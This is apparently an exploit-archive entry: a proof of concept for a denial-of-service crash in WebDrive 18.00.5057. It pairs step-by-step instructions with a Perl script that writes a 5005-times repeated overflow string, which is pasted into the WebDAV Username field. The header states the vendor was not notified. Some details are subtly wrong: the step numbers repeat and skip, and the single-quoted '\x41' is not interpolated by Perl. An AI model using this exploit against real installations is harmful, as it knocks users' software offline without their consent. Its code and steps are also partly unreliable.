# Exploit Title: WebDrive 18.00.5057 - Denial of Service - DoS
# Discovery by: Fernando Mengali
# Discovery Date: 22 january 2024
# Vendor Homepage: https://webdrive.com/
#Software Link: https://webdrive.com/download/
# Notification vendor: No reported
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Remote - Denial of Service (DoS)

# How do?
#1 - Run the script perl: 22-exploit-perl.pl
#2- Open exploit.txt and copy content to clipboard
#2- Open WebDrive
#3- Select "New"
#4- Select "Secure WebDAV" and click on "Next"
#6- Select "Url / Address" and Put "1.1.1.1" 
#7- Select "Username" and Paste ClipBoard
#8- Select "Password" and Put "abcd"
#9- Click on "Test Connection"
#10- Denial of Service

#!/usr/bin/perl

my $exploit = '\x41' x 5005;

    open(my $file, '>', 'exploit.txt') or die "Cannot open file: $!";
    print $file $exploit;
    close $file;

    print "exploit.txt created! \n";